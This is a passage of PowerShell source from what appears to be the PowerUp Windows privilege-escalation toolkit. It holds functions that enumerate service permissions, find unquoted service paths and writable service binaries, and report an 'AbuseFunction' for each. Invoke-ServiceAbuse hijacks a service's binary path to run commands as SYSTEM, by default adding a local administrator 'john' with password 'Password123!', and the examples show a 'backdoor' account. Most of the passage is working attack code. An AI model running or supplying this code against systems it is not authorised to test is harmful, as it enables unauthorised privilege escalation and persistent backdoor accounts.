993 $GroupSid
994 }
995 }
996 }
997 else {
998 Write-Warning ([ComponentModel.Win32Exception] $LastError)
999 }
1000 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenGroupsPtr)
1001 }
1002 else {
1003 Write-Warning ([ComponentModel.Win32Exception] $LastError)
1004 }
1005}
1006
1007
1008function Add-ServiceDacl {
1009<#
1010 .SYNOPSIS
1011
1012 Adds a Dacl field to a service object returned by Get-Service.
1013
1014 Author: Matthew Graeber (@mattifestation)
1015 License: BSD 3-Clause
1016
1017 .DESCRIPTION
1018
1019 Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a
1020 Dacl field to each object. It does this by opening a handle with ReadControl for the
1021 service with using the GetServiceHandle Win32 API call and then uses
1022 QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service.
1023
1024 .PARAMETER Name
1025
1026 An array of one or more service names to add a service Dacl for. Passable on the pipeline.
1027
1028 .EXAMPLE
1029
1030 PS C:\> Get-Service | Add-ServiceDacl
1031
1032 Add Dacls for every service the current user can read.
1033
1034 .EXAMPLE
1035
1036 PS C:\> Get-Service -Name VMTools | Add-ServiceDacl
1037
1038 Add the Dacl to the VMTools service object.
1039
1040 .OUTPUTS
1041
1042 ServiceProcess.ServiceController
1043
1044 .LINK
1045
1046 https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
1047#>
1048
1049 [OutputType('ServiceProcess.ServiceController')]
1050 param (
1051 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1052 [Alias('ServiceName')]
1053 [String[]]
1054 [ValidateNotNullOrEmpty()]
1055 $Name
1056 )
1057
1058 BEGIN {
1059 filter Local:Get-ServiceReadControlHandle {
1060 [OutputType([IntPtr])]
1061 param (
1062 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
1063 [ValidateNotNullOrEmpty()]
1064 [ValidateScript({ $_ -as 'ServiceProcess.ServiceController' })]
1065 $Service
1066 )
1067
1068 $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic')
1069
1070 $ReadControl = 0x00020000
1071
1072 $RawHandle = $GetServiceHandle.Invoke($Service, @($ReadControl))
1073
1074 $RawHandle
1075 }
1076 }
1077
1078 PROCESS {
1079 ForEach($ServiceName in $Name) {
1080
1081 $IndividualService = Get-Service -Name $ServiceName -ErrorAction Stop
1082
1083 try {
1084 Write-Verbose "Add-ServiceDacl IndividualService : $($IndividualService.Name)"
1085 $ServiceHandle = Get-ServiceReadControlHandle -Service $IndividualService
1086 }
1087 catch {
1088 $ServiceHandle = $Null
1089 Write-Verbose "Error opening up the service handle with read control for $($IndividualService.Name) : $_"
1090 }
1091
1092 if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) {
1093 $SizeNeeded = 0
1094
1095 $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, @(), 0, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1096
1097 # 122 == The data area passed to a system call is too small
1098 if ((-not $Result) -and ($LastError -eq 122) -and ($SizeNeeded -gt 0)) {
1099 $BinarySecurityDescriptor = New-Object Byte[]($SizeNeeded)
1100
1101 $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, $BinarySecurityDescriptor, $BinarySecurityDescriptor.Count, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1102
1103 if (-not $Result) {
1104 Write-Error ([ComponentModel.Win32Exception] $LastError)
1105 }
1106 else {
1107 $RawSecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $BinarySecurityDescriptor, 0
1108 $Dacl = $RawSecurityDescriptor.DiscretionaryAcl | ForEach-Object {
1109 Add-Member -InputObject $_ -MemberType NoteProperty -Name AccessRights -Value ($_.AccessMask -as $ServiceAccessRights) -PassThru
1110 }
1111
1112 Add-Member -InputObject $IndividualService -MemberType NoteProperty -Name Dacl -Value $Dacl -PassThru
1113 }
1114 }
1115 else {
1116 Write-Error ([ComponentModel.Win32Exception] $LastError)
1117 }
1118
1119 $Null = $Advapi32::CloseServiceHandle($ServiceHandle)
1120 }
1121 }
1122 }
1123}
1124
1125
1126function Set-ServiceBinPath {
1127<#
1128 .SYNOPSIS
1129
1130 Sets the binary path for a service to a specified value.
1131
1132 Author: @harmj0y, Matthew Graeber (@mattifestation)
1133 License: BSD 3-Clause
1134
1135 .DESCRIPTION
1136
1137 Takes a service Name or a ServiceProcess.ServiceController on the pipeline and first opens up a
1138 service handle to the service with ConfigControl access using the GetServiceHandle
1139 Win32 API call. ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath)
1140 to the string value specified by binPath, and the handle is closed off.
1141
1142 Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a
1143 Dacl field to each object. It does this by opening a handle with ReadControl for the
1144 service with using the GetServiceHandle Win32 API call and then uses
1145 QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service.
1146
1147 .PARAMETER Name
1148
1149 An array of one or more service names to set the binary path for. Required.
1150
1151 .PARAMETER binPath
1152
1153 The new binary path (lpBinaryPathName) to set for the specified service. Required.
1154
1155 .OUTPUTS
1156
1157 $True if configuration succeeds, $False otherwise.
1158
1159 .EXAMPLE
1160
1161 PS C:\> Set-ServiceBinPath -Name VulnSvc -BinPath 'net user john Password123! /add'
1162
1163 Sets the binary path for 'VulnSvc' to be a command to add a user.
1164
1165 .EXAMPLE
1166
1167 PS C:\> Get-Service VulnSvc | Set-ServiceBinPath -BinPath 'net user john Password123! /add'
1168
1169 Sets the binary path for 'VulnSvc' to be a command to add a user.
1170
1171 .LINK
1172
1173 https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx
1174#>
1175
1176 param (
1177 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1178 [Alias('ServiceName')]
1179 [String[]]
1180 [ValidateNotNullOrEmpty()]
1181 $Name,
1182
1183 [Parameter(Position=1, Mandatory=$True)]
1184 [String]
1185 [ValidateNotNullOrEmpty()]
1186 $binPath
1187 )
1188
1189 BEGIN {
1190 filter Local:Get-ServiceConfigControlHandle {
1191 [OutputType([IntPtr])]
1192 param (
1193 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
1194 [ServiceProcess.ServiceController]
1195 [ValidateNotNullOrEmpty()]
1196 $TargetService
1197 )
1198
1199 $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic')
1200
1201 $ConfigControl = 0x00000002
1202
1203 $RawHandle = $GetServiceHandle.Invoke($TargetService, @($ConfigControl))
1204
1205 $RawHandle
1206 }
1207 }
1208
1209 PROCESS {
1210
1211 ForEach($IndividualService in $Name) {
1212
1213 $TargetService = Get-Service -Name $IndividualService -ErrorAction Stop
1214 try {
1215 $ServiceHandle = Get-ServiceConfigControlHandle -TargetService $TargetService
1216 }
1217 catch {
1218 $ServiceHandle = $Null
1219 Write-Verbose "Error opening up the service handle with read control for $IndividualService : $_"
1220 }
1221
1222 if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) {
1223
1224 $SERVICE_NO_CHANGE = [UInt32]::MaxValue
1225
1226 $Result = $Advapi32::ChangeServiceConfig($ServiceHandle, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, "$binPath", [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1227
1228 if ($Result -ne 0) {
1229 Write-Verbose "binPath for $IndividualService successfully set to '$binPath'"
1230 $True
1231 }
1232 else {
1233 Write-Error ([ComponentModel.Win32Exception] $LastError)
1234 $Null
1235 }
1236
1237 $Null = $Advapi32::CloseServiceHandle($ServiceHandle)
1238 }
1239 }
1240 }
1241}
1242
1243
1244function Test-ServiceDaclPermission {
1245<#
1246 .SYNOPSIS
1247
1248 Tests one or more passed services or service names against a given permission set,
1249 returning the service objects where the current user have the specified permissions.
1250
1251 Author: @harmj0y, Matthew Graeber (@mattifestation)
1252 License: BSD 3-Clause
1253
1254 .DESCRIPTION
1255
1256 Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds
1257 a service Dacl to the service object with Add-ServiceDacl. All group SIDs for the current
1258 user are enumerated services where the user has some type of permission are filtered. The
1259 services are then filtered against a specified set of permissions, and services where the
1260 current user have the specified permissions are returned.
1261
1262 .PARAMETER Name
1263
1264 An array of one or more service names to test against the specified permission set.
1265
1266 .PARAMETER Permissions
1267
1268 A manual set of permission to test again. One of:'QueryConfig', 'ChangeConfig', 'QueryStatus',
1269 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl',
1270 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity',
1271 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess'
1272
1273 .PARAMETER PermissionSet
1274
1275 A pre-defined permission set to test a specified service against. 'ChangeConfig', 'Restart', or 'AllAccess'.
1276
1277 .OUTPUTS
1278
1279 ServiceProcess.ServiceController
1280
1281 .EXAMPLE
1282
1283 PS C:\> Get-Service | Test-ServiceDaclPermission
1284
1285 Return all service objects where the current user can modify the service configuration.
1286
1287 .EXAMPLE
1288
1289 PS C:\> Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart'
1290
1291 Return all service objects that the current user can restart.
1292
1293
1294 .EXAMPLE
1295
1296 PS C:\> Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC'
1297
1298 Return the VulnSVC object if the current user has start permissions.
1299
1300 .LINK
1301
1302 https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
1303#>
1304
1305 [OutputType('ServiceProcess.ServiceController')]
1306 param (
1307 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1308 [Alias('ServiceName')]
1309 [String[]]
1310 [ValidateNotNullOrEmpty()]
1311 $Name,
1312
1313 [String[]]
1314 [ValidateSet('QueryConfig', 'ChangeConfig', 'QueryStatus', 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', 'UserDefinedControl', 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess')]
1315 $Permissions,
1316
1317 [String]
1318 [ValidateSet('ChangeConfig', 'Restart', 'AllAccess')]
1319 $PermissionSet = 'ChangeConfig'
1320 )
1321
1322 BEGIN {
1323 $AccessMask = @{
1324 'QueryConfig' = [uint32]'0x00000001'
1325 'ChangeConfig' = [uint32]'0x00000002'
1326 'QueryStatus' = [uint32]'0x00000004'
1327 'EnumerateDependents' = [uint32]'0x00000008'
1328 'Start' = [uint32]'0x00000010'
1329 'Stop' = [uint32]'0x00000020'
1330 'PauseContinue' = [uint32]'0x00000040'
1331 'Interrogate' = [uint32]'0x00000080'
1332 'UserDefinedControl' = [uint32]'0x00000100'
1333 'Delete' = [uint32]'0x00010000'
1334 'ReadControl' = [uint32]'0x00020000'
1335 'WriteDac' = [uint32]'0x00040000'
1336 'WriteOwner' = [uint32]'0x00080000'
1337 'Synchronize' = [uint32]'0x00100000'
1338 'AccessSystemSecurity' = [uint32]'0x01000000'
1339 'GenericAll' = [uint32]'0x10000000'
1340 'GenericExecute' = [uint32]'0x20000000'
1341 'GenericWrite' = [uint32]'0x40000000'
1342 'GenericRead' = [uint32]'0x80000000'
1343 'AllAccess' = [uint32]'0x000F01FF'
1344 }
1345
1346 $CheckAllPermissionsInSet = $False
1347
1348 if($PSBoundParameters['Permissions']) {
1349 $TargetPermissions = $Permissions
1350 }
1351 else {
1352 if($PermissionSet -eq 'ChangeConfig') {
1353 $TargetPermissions = @('ChangeConfig', 'WriteDac', 'WriteOwner', 'GenericAll', ' GenericWrite', 'AllAccess')
1354 }
1355 elseif($PermissionSet -eq 'Restart') {
1356 $TargetPermissions = @('Start', 'Stop')
1357 $CheckAllPermissionsInSet = $True # so we check all permissions && style
1358 }
1359 elseif($PermissionSet -eq 'AllAccess') {
1360 $TargetPermissions = @('GenericAll', 'AllAccess')
1361 }
1362 }
1363 }
1364
1365 PROCESS {
1366
1367 ForEach($IndividualService in $Name) {
1368
1369 $TargetService = $IndividualService | Add-ServiceDacl
1370
1371 if($TargetService -and $TargetService.Dacl) {
1372
1373 # enumerate all group SIDs the current user is a part of
1374 $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
1375 $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
1376 $CurrentUserSids += $UserIdentity.User.Value
1377
1378 ForEach($ServiceDacl in $TargetService.Dacl) {
1379 if($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) {
1380
1381 if($CheckAllPermissionsInSet) {
1382 $AllMatched = $True
1383 ForEach($TargetPermission in $TargetPermissions) {
1384 # check permissions && style
1385 if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) {
1386 # Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)"
1387 $AllMatched = $False
1388 break
1389 }
1390 }
1391 if($AllMatched) {
1392 $TargetService
1393 }
1394 }
1395 else {
1396 ForEach($TargetPermission in $TargetPermissions) {
1397 # check permissions || style
1398 if (($ServiceDacl.AceType -eq 'AccessAllowed') -and ($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) {
1399 Write-Verbose "Current user has '$TargetPermission' for $IndividualService"
1400 $TargetService
1401 break
1402 }
1403 }
1404 }
1405 }
1406 }
1407 }
1408 else {
1409 Write-Verbose "Error enumerating the Dacl for service $IndividualService"
1410 }
1411 }
1412 }
1413}
1414
1415
1416########################################################
1417#
1418# Service enumeration
1419#
1420########################################################
1421
1422function Get-ServiceUnquoted {
1423<#
1424 .SYNOPSIS
1425
1426 Returns the name and binary path for services with unquoted paths
1427 that also have a space in the name.
1428
1429 .EXAMPLE
1430
1431 PS C:\> $services = Get-ServiceUnquoted
1432
1433 Get a set of potentially exploitable services.
1434
1435 .LINK
1436
1437 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb
1438#>
1439 [CmdletBinding()] param()
1440
1441 # find all paths to service .exe's that have a space in the path and aren't quoted
1442 $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"}
1443
1444 if ($VulnServices) {
1445 ForEach ($Service in $VulnServices) {
1446
1447 $ModifiableFiles = $Service.pathname.split(' ') | Get-ModifiablePath
1448
1449 $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
1450 $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name
1451
1452 if($ServiceRestart) {
1453 $CanRestart = $True
1454 }
1455 else {
1456 $CanRestart = $False
1457 }
1458
1459 $Out = New-Object PSObject
1460 $Out | Add-Member Noteproperty 'ServiceName' $Service.name
1461 $Out | Add-Member Noteproperty 'Path' $Service.pathname
1462 $Out | Add-Member Noteproperty 'ModifiablePath' $_
1463 $Out | Add-Member Noteproperty 'StartName' $Service.startname
1464 $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -Path <HijackPath>"
1465 $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
1466 $Out
1467 }
1468 }
1469 }
1470}
1471
1472
1473function Get-ModifiableServiceFile {
1474<#
1475 .SYNOPSIS
1476
1477 Enumerates all services and returns vulnerable service files.
1478
1479 .DESCRIPTION
1480
1481 Enumerates all services by querying the WMI win32_service class. For each service,
1482 it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine
1483 if the current user has rights to modify the service binary itself or any associated
1484 arguments. If the associated binary (or any configuration files) can be overwritten,
1485 privileges may be able to be escalated.
1486
1487 .EXAMPLE
1488
1489 PS C:\> Get-ModifiableServiceFile
1490
1491 Get a set of potentially exploitable service binares/config files.
1492#>
1493 [CmdletBinding()] param()
1494
1495 Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object {
1496
1497 $ServiceName = $_.name
1498 $ServicePath = $_.pathname
1499 $ServiceStartName = $_.startname
1500
1501 $ServicePath | Get-ModifiablePath | ForEach-Object {
1502
1503 $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName
1504
1505 if($ServiceRestart) {
1506 $CanRestart = $True
1507 }
1508 else {
1509 $CanRestart = $False
1510 }
1511
1512 $Out = New-Object PSObject
1513 $Out | Add-Member Noteproperty 'ServiceName' $ServiceName
1514 $Out | Add-Member Noteproperty 'Path' $ServicePath
1515 $Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath
1516 $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions
1517 $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference
1518 $Out | Add-Member Noteproperty 'StartName' $ServiceStartName
1519 $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -Name '$ServiceName'"
1520 $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
1521 $Out
1522 }
1523 }
1524}
1525
1526
1527function Get-ModifiableService {
1528<#
1529 .SYNOPSIS
1530
1531 Enumerates all services and returns services for which the current user can modify the binPath.
1532
1533 .DESCRIPTION
1534
1535 Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if
1536 the current user has rights to change the service configuration.
1537
1538 .EXAMPLE
1539
1540 PS C:\> Get-ModifiableService
1541
1542 Get a set of potentially exploitable services.
1543#>
1544 [CmdletBinding()] param()
1545
1546 Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object {
1547
1548 $ServiceDetails = $_ | Get-ServiceDetail
1549
1550 $ServiceRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart'
1551
1552 if($ServiceRestart) {
1553 $CanRestart = $True
1554 }
1555 else {
1556 $CanRestart = $False
1557 }
1558
1559 $Out = New-Object PSObject
1560 $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name
1561 $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname
1562 $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname
1563 $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'"
1564 $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
1565 $Out
1566 }
1567}
1568
1569
1570function Get-ServiceDetail {
1571<#
1572 .SYNOPSIS
1573
1574 Returns detailed information about a specified service by querying the
1575 WMI win32_service class for the specified service name.
1576
1577 .DESCRIPTION
1578
1579 Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on
1580 the pipeline object returned by Get-Service, extracts out the service name, queries the
1581 WMI win32_service class for the specified service for details like binPath, and outputs
1582 everything.
1583
1584 .PARAMETER Name
1585
1586 An array of one or more service names to query information for.
1587
1588 .EXAMPLE
1589
1590 PS C:\> Get-ServiceDetail -Name VulnSVC
1591
1592 Gets detailed information about the 'VulnSVC' service.
1593
1594 .EXAMPLE
1595
1596 PS C:\> Get-Service VulnSVC | Get-ServiceDetail
1597
1598 Gets detailed information about the 'VulnSVC' service.
1599#>
1600
1601 param (
1602 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1603 [Alias('ServiceName')]
1604 [String[]]
1605 [ValidateNotNullOrEmpty()]
1606 $Name
1607 )
1608
1609 PROCESS {
1610
1611 ForEach($IndividualService in $Name) {
1612
1613 $TargetService = Get-Service -Name $IndividualService
1614
1615 Get-WmiObject -Class win32_service -Filter "Name='$($TargetService.Name)'" | Where-Object {$_} | ForEach-Object {
1616 try {
1617 $_
1618 }
1619 catch{
1620 Write-Verbose "Error: $_"
1621 $null
1622 }
1623 }
1624 }
1625 }
1626}
1627
1628
1629########################################################
1630#
1631# Service abuse
1632#
1633########################################################
1634
1635function Invoke-ServiceAbuse {
1636<#
1637 .SYNOPSIS
1638
1639 Abuses a function the current user has configuration rights on in order
1640 to add a local administrator or execute a custom command.
1641
1642 Author: @harmj0y
1643 License: BSD 3-Clause
1644
1645 .DESCRIPTION
1646
1647 Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current
1648 user has configuration modification rights on and executes a series of automated actions to
1649 execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the
1650 original service binary path and configuration state are preserved. Then the service is stopped
1651 and the Set-ServiceBinPath function is used to set the binary (binPath) for the service to a
1652 series of commands, the service is started, stopped, and the next command is configured. After
1653 completion, the original service configuration is restored and a custom object is returned
1654 that captures the service abused and commands run.
1655
1656 .PARAMETER Name
1657
1658 An array of one or more service names to abuse.
1659
1660 .PARAMETER UserName
1661
1662 The [domain\]username to add. If not given, it defaults to "john".
1663 Domain users are not created, only added to the specified localgroup.
1664
1665 .PARAMETER Password
1666
1667 The password to set for the added user. If not given, it defaults to "Password123!"
1668
1669 .PARAMETER LocalGroup
1670
1671 Local group name to add the user to (default of 'Administrators').
1672
1673 .PARAMETER Credential
1674
1675 A [Management.Automation.PSCredential] object specifying the user/password to add.
1676
1677 .PARAMETER Command
1678
1679 Custom command to execute instead of user creation.
1680
1681 .PARAMETER Force
1682
1683 Switch. Force service stopping, even if other services are dependent.
1684
1685 .EXAMPLE
1686
1687 PS C:\> Invoke-ServiceAbuse -Name VulnSVC
1688
1689 Abuses service 'VulnSVC' to add a localuser "john" with password
1690 "Password123! to the machine and local administrator group
1691
1692 .EXAMPLE
1693
1694 PS C:\> Get-Service VulnSVC | Invoke-ServiceAbuse
1695
1696 Abuses service 'VulnSVC' to add a localuser "john" with password
1697 "Password123! to the machine and local administrator group
1698
1699 .EXAMPLE
1700
1701 PS C:\> Invoke-ServiceAbuse -Name VulnSVC -UserName "TESTLAB\john"
1702
1703 Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the
1704 local adminisrtators group.
1705
1706 .EXAMPLE
1707
1708 PS C:\> Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users"
1709
1710 Abuses service 'VulnSVC' to add a localuser "backdoor" with password
1711 "password" to the machine and local "Power Users" group
1712
1713 .EXAMPLE
1714
1715 PS C:\> Invoke-ServiceAbuse -Name VulnSVC -Command "net ..."
1716
1717 Abuses service 'VulnSVC' to execute a custom command.
1718#>
1719
1720 param (
1721 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1722 [Alias('ServiceName')]
1723 [String[]]
1724 [ValidateNotNullOrEmpty()]
1725 $Name,
1726
1727 [String]
1728 $UserName = 'john',
1729
1730 [String]
1731 $Password = 'Password123!',
1732
1733 [String]
1734 $LocalGroup = 'Administrators',
1735
1736 [Management.Automation.PSCredential]
1737 $Credential,
1738
1739 [String]
1740 [ValidateNotNullOrEmpty()]
1741 $Command,
1742
1743 [Switch]
1744 $Force
1745 )
1746
1747 BEGIN {
1748
1749 if($PSBoundParameters['Command']) {
1750 $ServiceCommands = @($Command)
1751 }
1752
1753 else {
1754 if($PSBoundParameters['Credential']) {
1755 $UserNameToAdd = $Credential.UserName
1756 $PasswordToAdd = $Credential.GetNetworkCredential().Password
1757 }
1758 else {
1759 $UserNameToAdd = $UserName
1760 $PasswordToAdd = $Password
1761 }
1762
1763 if($UserNameToAdd.Contains('\')) {
1764 # only adding a domain user to the local group, no user creation
1765 $ServiceCommands = @("net localgroup $LocalGroup $UserNameToAdd /add")
1766 }
1767 else {
1768 # create a local user and add it to the local specified group
1769 $ServiceCommands = @("net user $UserNameToAdd $PasswordToAdd /add", "net localgroup $LocalGroup $UserNameToAdd /add")
1770 }
1771 }
1772 }
1773
1774 PROCESS {
1775
1776 ForEach($IndividualService in $Name) {
1777
1778 $TargetService = Get-Service -Name $IndividualService
1779
1780 $ServiceDetails = $TargetService | Get-ServiceDetail
1781
1782 $RestoreDisabled = $False
1783 if ($ServiceDetails.StartMode -match 'Disabled') {
1784 Write-Verbose "Service '$(ServiceDetails.Name)' disabled, enabling..."
1785 $TargetService | Set-Service -StartupType Manual -ErrorAction Stop
1786 $RestoreDisabled = $True
1787 }
1788
1789 $OriginalServicePath = $ServiceDetails.PathName
1790 $OriginalServiceState = $ServiceDetails.State
1791
1792 Write-Verbose "Service '$($TargetService.Name)' original path: '$OriginalServicePath'"
1793 Write-Verbose "Service '$($TargetService.Name)' original state: '$OriginalServiceState'"
1794
1795 ForEach($ServiceCommand in $ServiceCommands) {
1796
1797 if($PSBoundParameters['Force']) {
1798 $TargetService | Stop-Service -Force -ErrorAction Stop
1799 }
1800 else {
1801 $TargetService | Stop-Service -ErrorAction Stop
1802 }
1803
1804 Write-Verbose "Executing command '$ServiceCommand'"
1805
1806 $Success = $TargetService | Set-ServiceBinPath -binPath "$ServiceCommand"
1807
1808 if (-not $Success) {
1809 throw "Error reconfiguring the binPath for $($TargetService.Name)"
1810 }
1811
1812 $TargetService | Start-Service -ErrorAction SilentlyContinue
1813 Start-Sleep -Seconds 2
1814 }
1815
1816 if($PSBoundParameters['Force']) {
1817 $TargetService | Stop-Service -Force -ErrorAction Stop
1818 }
1819 else {
1820 $TargetService | Stop-Service -ErrorAction Stop
1821 }
1822
1823 Write-Verbose "Restoring original path to service '$($TargetService.Name)'"
1824 Start-Sleep -Seconds 1
1825 $Success = $TargetService | Set-ServiceBinPath -binPath "$OriginalServicePath"
1826
1827 if (-not $Success) {
1828 throw "Error restoring the original binPath for $($TargetService.Name)"
1829 }
1830
1831 # try to restore the service to whatever the service's original state was
1832 if($RestoreDisabled) {
1833 Write-Verbose "Re-disabling service '$($TargetService.Name)'"
1834 $TargetService | Set-Service -StartupType Disabled -ErrorAction Stop
1835 }
1836 elseif($OriginalServiceState -eq "Paused") {
1837 Write-Verbose "Starting and then pausing service '$($TargetService.Name)'"
1838 $TargetService | Start-Service
1839 Start-Sleep -Seconds 1
1840 $TargetService | Set-Service -Status Paused -ErrorAction Stop
1841 }
1842 elseif($OriginalServiceState -eq "Stopped") {
1843 Write-Verbose "Leaving service '$($TargetService.Name)' in stopped state"
1844 }
1845 else {
1846 Write-Verbose "Restarting '$($TargetService.Name)'"
1847 $TargetService | Start-Service
1848 }
1849
1850 $Out = New-Object PSObject
1851 $Out | Add-Member Noteproperty 'ServiceAbused' $TargetService.Name
1852 $Out | Add-Member Noteproperty 'Command' $($ServiceCommands -join ' && ')
1853 $Out
1854 }
1855 }
1856}
1857
1858
1859function Write-ServiceBinary {
1860<#
1861 .SYNOPSIS
1862
1863 Patches in the specified command to a pre-compiled C# service executable and
1864 writes the binary out to the specified ServicePath location.
1865
1866 Author: @harmj0y
1867 License: BSD 3-Clause
1868
1869 .DESCRIPTION
1870
1871 Takes a pre-compiled C# service binary and patches in the appropriate commands needed
1872 for service abuse. If a -UserName/-Password or -Credential is specified, the command
1873 patched in creates a local user and adds them to the specified -LocalGroup, otherwise
1874 the specified -Command is patched in. The binary is then written out to the specified
1875 -ServicePath. Either -Name must be specified for the service, or a proper object from
1876 Get-Service must be passed on the pipeline in order to patch in the appropriate service
1877 name the binary will be running under.
1878
1879 .PARAMETER Name
1880
1881 The service name the EXE will be running under.
1882
1883 .PARAMETER UserName
1884
1885 The [domain\]username to add. If not given, it defaults to "john".
1886 Domain users are not created, only added to the specified localgroup.
1887
1888 .PARAMETER Password
1889
1890 The password to set for the added user. If not given, it defaults to "Password123!"
1891
1892 .PARAMETER LocalGroup
1893
1894 Local group name to add the user to (default of 'Administrators').
1895
1896 .PARAMETER Credential
1897
1898 A [Management.Automation.PSCredential] object specifying the user/password to add.
1899
1900 .PARAMETER Command
1901
1902 Custom command to execute instead of user creation.
1903
1904 .PARAMETER Path
1905
1906 Path to write the binary out to, defaults to 'service.exe' in the local directory.
1907
1908 .EXAMPLE
1909
1910 PS C:\> Write-ServiceBinary -Name VulnSVC
1911
1912 Writes a service binary to service.exe in the local directory for VulnSVC that
1913 adds a local Administrator (john/Password123!).
1914
1915 .EXAMPLE
1916
1917 PS C:\> Get-Service VulnSVC | Write-ServiceBinary
1918
1919 Writes a service binary to service.exe in the local directory for VulnSVC that
1920 adds a local Administrator (john/Password123!).
1921
1922 .EXAMPLE
1923
1924 PS C:\> Write-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john'
1925
1926 Writes a service binary to service.exe in the local directory for VulnSVC that adds
1927 TESTLAB\john to the Administrators local group.
1928
1929 .EXAMPLE
1930
1931 PS C:\> Write-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123!
1932
1933 Writes a service binary to service.exe in the local directory for VulnSVC that
1934 adds a local Administrator (backdoor/Password123!).
1935
1936 .EXAMPLE
1937
1938 PS C:\> Write-ServiceBinary -Name VulnSVC -Command "net ..."
1939
1940 Writes a service binary to service.exe in the local directory for VulnSVC that
1941 executes a custom command.
1942#>
1943
1944 Param(
